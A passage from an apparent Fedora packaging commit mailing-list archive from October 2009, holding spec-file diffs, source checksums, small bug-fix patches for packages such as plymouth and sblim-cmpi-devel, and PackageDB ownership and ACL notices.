+Release: 1.kb.5%{?dist}
 Group: Applications/Productivity
 Summary: Mail and calendar client for GNOME
 License: GPLv2+ and GFDL
@@ -647,6 +647,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libexecdir}/evolution/%{evo_major}/evolution-addressbook-clean
 
 %changelog
+* Wed Oct 07 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.5.fc12
+- Snapshot of "kill-bonobo" progress at commit 7813f02.
+
 * Fri Oct 02 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.4.fc12
 - Snapshot of "kill-bonobo" progress at commit 6fced70.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/sources,v
retrieving revision 1.116.2.33
retrieving revision 1.116.2.34
diff -u -p -r1.116.2.33 -r1.116.2.34
--- sources	3 Oct 2009 02:23:23 -0000	1.116.2.33
+++ sources	7 Oct 2009 21:37:48 -0000	1.116.2.34
@@ -1 +1 @@
-c1daf24767dc4f698c4c7b09307809f1  evolution-2.29.1-kill-bonobo-6fced70.tar.bz2
+dcfb6f5d757d853aa86a5d21e412adbe  evolution-2.29.1-kill-bonobo-7813f02.tar.bz2



From pkgdb at fedoraproject.org  Wed Oct  7 21:38:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:38:33 +0000
Subject: [pkgdb] cycle ownership updated
Message-ID: <20091007213833.1E28D10F880@bastion2.fedora.phx.redhat.com>

Package cycle in Fedora devel is now owned by linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 21:38:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:38:39 +0000
Subject: [pkgdb] cycle: linuxdonald has requested watchbugzilla
Message-ID: <20091007213839.D611310F88F@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchbugzilla acl on cycle (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 21:38:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:38:42 +0000
Subject: [pkgdb] cycle: linuxdonald has requested watchcommits
Message-ID: <20091007213843.1D1C410F880@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchcommits acl on cycle (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 21:38:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:38:44 +0000
Subject: [pkgdb] cycle: linuxdonald has requested commit
Message-ID: <20091007213844.D584410F892@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the commit acl on cycle (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 21:38:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:38:47 +0000
Subject: [pkgdb] cycle: linuxdonald has requested approveacls
Message-ID: <20091007213847.66A9010F880@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the approveacls acl on cycle (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 21:38:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:38:54 +0000
Subject: [pkgdb] cycle ownership updated
Message-ID: <20091007213854.BA02710F88F@bastion2.fedora.phx.redhat.com>

Package cycle in Fedora 10 is now owned by linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 21:38:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:38:59 +0000
Subject: [pkgdb] cycle: linuxdonald has requested watchbugzilla
Message-ID: <20091007213859.CEB0D10F88F@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchbugzilla acl on cycle (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 21:39:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:39:01 +0000
Subject: [pkgdb] cycle: linuxdonald has requested watchcommits
Message-ID: <20091007213901.AB6D310F894@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchcommits acl on cycle (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 21:39:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:39:04 +0000
Subject: [pkgdb] cycle: linuxdonald has requested commit
Message-ID: <20091007213904.2B97B10F8A1@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the commit acl on cycle (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 21:39:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:39:06 +0000
Subject: [pkgdb] cycle: linuxdonald has requested approveacls
Message-ID: <20091007213907.0136C10F892@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the approveacls acl on cycle (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 21:39:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:39:44 +0000
Subject: [pkgdb] 8Kingdoms ownership updated
Message-ID: <20091007213944.3F96E10F84D@bastion2.fedora.phx.redhat.com>

Package 8Kingdoms in Fedora 10 is now owned by linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Wed Oct  7 21:39:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:39:57 +0000
Subject: [pkgdb] 8Kingdoms had acl change status
Message-ID: <20091007213957.8461110F894@bastion2.fedora.phx.redhat.com>

linuxdonald has set the watchbugzilla acl on 8Kingdoms (Fedora 10) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Wed Oct  7 21:39:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:39:59 +0000
Subject: [pkgdb] 8Kingdoms had acl change status
Message-ID: <20091007214000.25A4F10F8A1@bastion2.fedora.phx.redhat.com>

linuxdonald has set the watchcommits acl on 8Kingdoms (Fedora 10) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Wed Oct  7 21:40:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:40:02 +0000
Subject: [pkgdb] 8Kingdoms had acl change status
Message-ID: <20091007214002.5BEA810F8A9@bastion2.fedora.phx.redhat.com>

linuxdonald has set the commit acl on 8Kingdoms (Fedora 10) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Wed Oct  7 21:40:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:40:04 +0000
Subject: [pkgdb] 8Kingdoms had acl change status
Message-ID: <20091007214004.E000F10F8AD@bastion2.fedora.phx.redhat.com>

linuxdonald has set the approveacls acl on 8Kingdoms (Fedora 10) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Wed Oct  7 21:40:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:40:07 +0000
Subject: [pkgdb] 8Kingdoms had acl change status
Message-ID: <20091007214007.E1B8E10F8B3@bastion2.fedora.phx.redhat.com>

linuxdonald has set the watchcommits acl on 8Kingdoms (Fedora 10) to Approved for dummymail4me

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Wed Oct  7 21:40:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 21:40:26 +0000
Subject: [pkgdb] 8Kingdoms had acl change status
Message-ID: <20091007214026.2F13910F8A1@bastion2.fedora.phx.redhat.com>

linuxdonald has set the watchcommits acl on 8Kingdoms (Fedora 10) to Awaiting Review for dummymail4me

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From praveenp at fedoraproject.org  Wed Oct  7 21:42:48 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed,  7 Oct 2009 21:42:48 +0000 (UTC)
Subject: rpms/sblim-cmpi-devel/F-11 CmpiData_constructor_4_CmpiString.patch, 
	NONE, 1.1 .cvsignore, 1.3, 1.4 sblim-cmpi-devel.spec, 1.10,
	1.11 sources, 1.3, 1.4
Message-ID: <20091007214248.DD44811C00E6@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/sblim-cmpi-devel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22967

Modified Files:
	.cvsignore sblim-cmpi-devel.spec sources 
Added Files:
	CmpiData_constructor_4_CmpiString.patch 
Log Message:
Updated the sources to 2.0.0


CmpiData_constructor_4_CmpiString.patch:
 CmpiImpl.cpp |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE CmpiData_constructor_4_CmpiString.patch ---
--- sblim-cmpi-devel-2.0.0/CmpiImpl.cpp	2009-07-01 20:22:03.000000000 +0530
+++ sblim-cmpi-devel-2.0.0_new/CmpiImpl.cpp	2009-07-01 20:22:03.000000000 +0530
@@ -894,8 +894,8 @@
 
 CmpiData::CmpiData(const CmpiString& d) {
    _data.state=CMPI_goodValue;
-   _data.value.chars=(char*)d.charPtr();
-   _data.type=CMPI_chars;
+   _data.value.string=d.getEnc();
+   _data.type=CMPI_string;
 }
 
 CmpiData::CmpiData(const char* d) {


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sblim-cmpi-devel/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	24 Oct 2008 12:40:29 -0000	1.3
+++ .cvsignore	7 Oct 2009 21:42:48 -0000	1.4
@@ -1,2 +1 @@
-sblim-cmpi-devel-1.0.4.tar.bz2
-sblim-cmpi-devel-1.0.5.tar.bz2
+sblim-cmpi-devel-2.0.0.tar.bz2


Index: sblim-cmpi-devel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sblim-cmpi-devel/F-11/sblim-cmpi-devel.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sblim-cmpi-devel.spec	25 Feb 2009 22:43:13 -0000	1.10
+++ sblim-cmpi-devel.spec	7 Oct 2009 21:42:48 -0000	1.11
@@ -1,14 +1,15 @@
 %define debug_package %{nil}
 
 Name:           sblim-cmpi-devel
-Version:        1.0.5
-Release:        3%{?dist}
+Version:        2.0.0
+Release:        0%{?dist}
 Summary:        SBLIM CMPI Provider Development Support
 
 Group:          Development/Libraries
 License:        EPL
 URL:            http://sblim.wiki.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
+Patch0:         CmpiData_constructor_4_CmpiString.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -38,6 +39,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/cmpi
 
 %changelog
+* Wed Oct  7 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.0.0-0
+- Updated the sources to 2.0.0
+- CmpiData_constructor_4_CmpiString: This patch allows providers to convert
+-   CMPIData to String. The conversion of retrieving string info from CMPIData was wrong.
+-   This patch fixes the conversion.
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.5-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sblim-cmpi-devel/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	24 Oct 2008 12:40:29 -0000	1.3
+++ sources	7 Oct 2009 21:42:48 -0000	1.4
@@ -1 +1 @@
-6a27a37d198eecb06b924a53cbcda1ee  sblim-cmpi-devel-1.0.5.tar.bz2
+55d6fe7c71706024ff1469d8be5eedfd  sblim-cmpi-devel-2.0.0.tar.bz2



From rstrode at fedoraproject.org  Wed Oct  7 21:43:11 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Wed,  7 Oct 2009 21:43:11 +0000 (UTC)
Subject: rpms/plymouth/F-12 more-drm-fixes.patch, NONE, 1.1 plymouth.spec,
	1.152, 1.153
Message-ID: <20091007214311.305BF11C00E6@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23120

Modified Files:
	plymouth.spec 
Added Files:
	more-drm-fixes.patch 
Log Message:
- Fix the reason radeon single head users were affected.


more-drm-fixes.patch:
 libplybootsplash/ply-renderer.c |    3 ++-
 plugins/renderers/drm/plugin.c  |    2 --
 2 files changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE more-drm-fixes.patch ---
>From 3d53c471d7f8c477c46a1251100dd998e2609472 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Tue, 6 Oct 2009 15:30:33 -0400
Subject: [PATCH 1/2] [drm] don't close terminal

It belongs to the core daemon, not the plugin.
---
 src/plugins/renderers/drm/plugin.c |    1 -
 1 files changed, 0 insertions(+), 1 deletions(-)

diff --git a/src/plugins/renderers/drm/plugin.c b/src/plugins/renderers/drm/plugin.c
index 34aa8f8..d317e2a 100644
--- a/src/plugins/renderers/drm/plugin.c
+++ b/src/plugins/renderers/drm/plugin.c
@@ -487,7 +487,6 @@ open_device (ply_renderer_backend_t *backend)
 static void
 close_device (ply_renderer_backend_t *backend)
 {
-  ply_terminal_close (backend->terminal);
   free_heads (backend);
 
   ply_console_stop_watching_for_active_vt_change (backend->console,
-- 
1.6.5.rc2


>From 4c777de9fc17cb4b8ab454b26e2ece646c4829c9 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Tue, 6 Oct 2009 15:31:53 -0400
Subject: [PATCH 2/2] [renderer] close device on failures

Before we were just unloading the module without
closing it.
---
 src/libplybootsplash/ply-renderer.c |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/src/libplybootsplash/ply-renderer.c b/src/libplybootsplash/ply-renderer.c
index 08a246b..f7f3c90 100644
--- a/src/libplybootsplash/ply-renderer.c
+++ b/src/libplybootsplash/ply-renderer.c
@@ -247,6 +247,7 @@ ply_renderer_open (ply_renderer_t *renderer)
         {
           ply_trace ("could not query rendering device for plugin %s",
                      plugin_path);
+          ply_renderer_close_device (renderer);
           ply_renderer_unload_plugin (renderer);
           continue;
         }
@@ -255,6 +256,7 @@ ply_renderer_open (ply_renderer_t *renderer)
         {
           ply_trace ("could not map renderer to device for plugin %s",
                      plugin_path);
+          ply_renderer_close_device (renderer);
           ply_renderer_unload_plugin (renderer);
           continue;
         }
-- 
1.6.5.rc2



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.152
retrieving revision 1.153
diff -u -p -r1.152 -r1.153
--- plymouth.spec	7 Oct 2009 21:30:46 -0000	1.152
+++ plymouth.spec	7 Oct 2009 21:43:11 -0000	1.153
@@ -5,7 +5,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.5%{?dist}
+Release: 0.2009.29.09.6%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -33,6 +33,7 @@ Patch0: fix-2nd-show-splash.patch
 Patch1: fix-text-password-crash.patch
 Patch2: fix-firstboot-on-intel.patch
 Patch3: fix-firstboot-on-radeon.patch
+Patch4: more-drm-fixes.patch
 
 %description
 Plymouth provides an attractive graphical boot animation in
@@ -244,6 +245,7 @@ plugin.
 %patch1 -p1 -b .fix-text-password-crash
 %patch2 -p1 -b .fix-firstboot-on-intel
 %patch3 -p1 -b .fix-firstboot-on-radeon
+%patch4 -p1 -b .more-drm-fixes
 
 %build
 %configure --enable-tracing --disable-tests --without-boot-entry \
@@ -461,6 +463,9 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Wed Oct 07 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.6
+- Fix the reason radeon single head users were affected.
+
 * Wed Oct 07 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.5
 - Prevent firstboot's X from crashing on radeon hardware. This should
   only affect multihead users, but for some reason it's getting some



From pbrobinson at fedoraproject.org  Wed Oct  7 21:44:55 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed,  7 Oct 2009 21:44:55 +0000 (UTC)
Subject: rpms/gupnp/F-12 .cvsignore, 1.10, 1.11 gupnp.spec, 1.26,
	1.27 sources, 1.10, 1.11
Message-ID: <20091007214456.2A01811C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/gupnp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23964

Modified Files:
	.cvsignore gupnp.spec sources 
Log Message:
- Update to 0.13.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gupnp/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	17 Sep 2009 13:26:03 -0000	1.10
+++ .cvsignore	7 Oct 2009 21:44:53 -0000	1.11
@@ -1 +1 @@
-gupnp-0.13.0.tar.gz
+gupnp-0.13.1.tar.gz


Index: gupnp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gupnp/F-12/gupnp.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- gupnp.spec	17 Sep 2009 15:10:40 -0000	1.26
+++ gupnp.spec	7 Oct 2009 21:44:54 -0000	1.27
@@ -1,5 +1,5 @@
 Name:           gupnp
-Version:        0.13.0
+Version:        0.13.1
 Release:        1%{?dist}
 Summary:        A framework for creating UPnP devices & control points
 
@@ -85,6 +85,9 @@ rm -rf %{buildroot}
 %doc %{_datadir}/gtk-doc/html/%{name}
 
 %changelog
+* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.13.1-1
+- Update to 0.13.1
+
 * Thu Sep 17 2009 Bastien Nocera <bnocera at redhat.com> 0.13.0-1
 - Update to 0.13.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gupnp/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	17 Sep 2009 13:26:03 -0000	1.10
+++ sources	7 Oct 2009 21:44:54 -0000	1.11
@@ -1 +1 @@
-d335e042e859376483615ee5bbb602e2  gupnp-0.13.0.tar.gz
+9b5fcf8146ba9a2bd84382f61717aa0e  gupnp-0.13.1.tar.gz



From dwalsh at fedoraproject.org  Wed Oct  7 21:45:14 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Wed,  7 Oct 2009 21:45:14 +0000 (UTC)
Subject: rpms/setroubleshoot-plugins/devel .cvsignore, 1.41,
	1.42 setroubleshoot-plugins.spec, 1.47, 1.48 sources, 1.42, 1.43
Message-ID: <20091007214514.55C8B11C00E6@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24314

Modified Files:
	.cvsignore setroubleshoot-plugins.spec sources 
Log Message:
* Thu Oct 7 2009  <dwalsh at redhat.com> - 2.1.26-1
- Add wine plugin



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/.cvsignore,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- .cvsignore	6 Oct 2009 19:26:29 -0000	1.41
+++ .cvsignore	7 Oct 2009 21:45:12 -0000	1.42
@@ -31,3 +31,4 @@ setroubleshoot-plugins-2.1.22.tar.gz
 setroubleshoot-plugins-2.1.23.tar.gz
 setroubleshoot-plugins-2.1.24.tar.gz
 setroubleshoot-plugins-2.1.25.tar.gz
+setroubleshoot-plugins-2.1.26.tar.gz


Index: setroubleshoot-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/setroubleshoot-plugins.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- setroubleshoot-plugins.spec	6 Oct 2009 19:26:30 -0000	1.47
+++ setroubleshoot-plugins.spec	7 Oct 2009 21:45:13 -0000	1.48
@@ -1,6 +1,6 @@
 Summary: Analysis plugins for use with setroubleshoot
 Name: setroubleshoot-plugins
-Version: 2.1.25
+Version: 2.1.26
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -52,6 +52,9 @@ rm -rf %{buildroot}
 %{_datadir}/setroubleshoot/plugins
 
 %changelog
+* Thu Oct 7 2009  <dwalsh at redhat.com> - 2.1.26-1
+- Add wine plugin
+
 * Thu Oct 6 2009  <dwalsh at redhat.com> - 2.1.25-1
 - Fix http_can_senmail to look for "sendmail" in command
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	6 Oct 2009 19:26:30 -0000	1.42
+++ sources	7 Oct 2009 21:45:13 -0000	1.43
@@ -1 +1 @@
-b127e298589a88ae80ea2a0a05178e6b  setroubleshoot-plugins-2.1.25.tar.gz
+34c72465619aa3a6ffa8c2e90936f5b2  setroubleshoot-plugins-2.1.26.tar.gz



From dwalsh at fedoraproject.org  Wed Oct  7 21:50:34 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Wed,  7 Oct 2009 21:50:34 +0000 (UTC)
Subject: rpms/setroubleshoot-plugins/F-12 setroubleshoot-plugins.spec, 1.44, 
	1.45 sources, 1.40, 1.41
Message-ID: <20091007215034.C109411C02A1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27938

Modified Files:
	setroubleshoot-plugins.spec sources 
Log Message:
* Thu Oct 7 2009  <dwalsh at redhat.com> - 2.1.26-1
- Add wine plugin



Index: setroubleshoot-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/F-12/setroubleshoot-plugins.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- setroubleshoot-plugins.spec	1 Oct 2009 18:40:50 -0000	1.44
+++ setroubleshoot-plugins.spec	7 Oct 2009 21:50:34 -0000	1.45
@@ -1,7 +1,7 @@
 Summary: Analysis plugins for use with setroubleshoot
 Name: setroubleshoot-plugins
-Version: 2.1.24
-Release: 2%{?dist}
+Version: 2.1.26
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
 URL: https://fedorahosted.org/setroubleshoot
@@ -52,6 +52,12 @@ rm -rf %{buildroot}
 %{_datadir}/setroubleshoot/plugins
 
 %changelog
+* Thu Oct 7 2009  <dwalsh at redhat.com> - 2.1.26-1
+- Add wine plugin
+
+* Thu Oct 6 2009  <dwalsh at redhat.com> - 2.1.25-1
+- Fix http_can_senmail to look for "sendmail" in command
+
 * Thu Oct 1 2009  <dwalsh at redhat.com> - 2.1.24-2
 - Add support for Green Plugins
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/F-12/sources,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- sources	1 Oct 2009 18:40:50 -0000	1.40
+++ sources	7 Oct 2009 21:50:34 -0000	1.41
@@ -1 +1 @@
-78961dd82e4623a52afab52556c60771  setroubleshoot-plugins-2.1.24.tar.gz
+34c72465619aa3a6ffa8c2e90936f5b2  setroubleshoot-plugins-2.1.26.tar.gz



From praveenp at fedoraproject.org  Wed Oct  7 22:00:50 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed,  7 Oct 2009 22:00:50 +0000 (UTC)
Subject: rpms/sblim-cmpi-devel/F-11 sblim-cmpi-devel.spec,1.11,1.12
Message-ID: <20091007220050.3506611C0299@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/sblim-cmpi-devel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv469

Modified Files:
	sblim-cmpi-devel.spec 
Log Message:
patch wasn't applied in the last commit



Index: sblim-cmpi-devel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sblim-cmpi-devel/F-11/sblim-cmpi-devel.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sblim-cmpi-devel.spec	7 Oct 2009 21:42:48 -0000	1.11
+++ sblim-cmpi-devel.spec	7 Oct 2009 22:00:49 -0000	1.12
@@ -2,7 +2,7 @@
 
 Name:           sblim-cmpi-devel
 Version:        2.0.0
-Release:        0%{?dist}
+Release:        1%{?dist}
 Summary:        SBLIM CMPI Provider Development Support
 
 Group:          Development/Libraries
@@ -21,6 +21,7 @@ tog-pegasus-devel installed.
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 %configure --disable-library
@@ -39,6 +40,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/cmpi
 
 %changelog
+* Wed Oct  7 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.0.0-1
+- Patch wasn't applied after setup in the previous release.
 * Wed Oct  7 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.0.0-0
 - Updated the sources to 2.0.0
 - CmpiData_constructor_4_CmpiString: This patch allows providers to convert



From praveenp at fedoraproject.org  Wed Oct  7 22:02:53 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed,  7 Oct 2009 22:02:53 +0000 (UTC)
Subject: rpms/sblim-cmpi-devel/F-12 CmpiData_constructor_4_CmpiString.patch, 
	NONE, 1.1 sblim-cmpi-devel.spec, 1.12, 1.13
Message-ID: <20091007220253.7C61611C00E6@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/sblim-cmpi-devel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1099

Modified Files:
	sblim-cmpi-devel.spec 
Added Files:
	CmpiData_constructor_4_CmpiString.patch 
Log Message:
Added a patch


CmpiData_constructor_4_CmpiString.patch:
 CmpiImpl.cpp |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE CmpiData_constructor_4_CmpiString.patch ---
--- sblim-cmpi-devel-2.0.0/CmpiImpl.cpp	2009-07-01 20:22:03.000000000 +0530
+++ sblim-cmpi-devel-2.0.0_new/CmpiImpl.cpp	2009-07-01 20:22:03.000000000 +0530
@@ -894,8 +894,8 @@
 
 CmpiData::CmpiData(const CmpiString& d) {
    _data.state=CMPI_goodValue;
-   _data.value.chars=(char*)d.charPtr();
-   _data.type=CMPI_chars;
+   _data.value.string=d.getEnc();
+   _data.type=CMPI_string;
 }
 
 CmpiData::CmpiData(const char* d) {


Index: sblim-cmpi-devel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sblim-cmpi-devel/F-12/sblim-cmpi-devel.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sblim-cmpi-devel.spec	27 Aug 2009 13:14:17 -0000	1.12
+++ sblim-cmpi-devel.spec	7 Oct 2009 22:02:53 -0000	1.13
@@ -2,13 +2,14 @@
 
 Name:           sblim-cmpi-devel
 Version:        2.0.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        SBLIM CMPI Provider Development Support
 
 Group:          Development/Libraries
 License:        EPL
 URL:            http://sblim.wiki.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
+Patch0:         CmpiData_constructor_4_CmpiString.patch 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -20,6 +21,7 @@ tog-pegasus-devel installed.
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 %configure --disable-library
@@ -38,6 +40,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/cmpi
 
 %changelog
+* Wed Oct  7 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.0.0-2
+- CmpiData_constructor_4_CmpiString: This patch allows providers to convert
+-   CMPIData to String. The conversion of retrieving string info from CMPIData was wrong.
+-   This patch fixes the conversion.
 * Thu Aug 27 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.0.0-1
 - Update to 2.0.0
 



From shishz at fedoraproject.org  Wed Oct  7 22:02:53 2009
From: shishz at fedoraproject.org (Zing Zing Shishak)
Date: Wed,  7 Oct 2009 22:02:53 +0000 (UTC)
Subject: rpms/snownews/F-12 snownews-1.5.12-manpage.patch, NONE,
	1.1 .cvsignore, 1.7, 1.8 snownews.spec, 1.20, 1.21 sources, 1.7,
